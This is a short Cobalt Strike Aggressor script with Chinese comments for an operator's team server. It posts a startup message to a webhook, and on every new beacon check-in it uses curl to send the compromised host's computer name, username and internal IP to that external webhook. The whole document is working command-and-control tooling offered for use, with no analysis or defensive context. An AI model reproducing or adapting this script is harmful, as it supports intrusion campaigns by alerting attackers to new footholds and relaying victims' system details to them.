Cobalt Strike上线推送

$teamserver_hostname = 'server';    # 自定义一个名称


# 首次开启推送
$tg_bot_webhookURL = '';        # 需要发送的url
$test_message = 'CS上线监听开启';    # 首次发送的消息
@curl_command = @('curl', '-X', 'POST', '--data', 'key=xxxxx', '--data', 'msg='.$test_message, $tg_bot_webhookURL);    # 每个post参数前加一个--data
exec(@curl_command);

# 上线推送
on beacon_initial {
    println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    local('$internalIP $computerName $userName');
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP;    # 推送上线主机名、用户名、内网IP
    @curl_command = @('curl', '-X', 'POST', '--data', 'key=xxxxx', '--data', 'msg='.$message, $tg_bot_webhookURL);    # 每个post参数前加一个--data
    exec(@curl_command);
}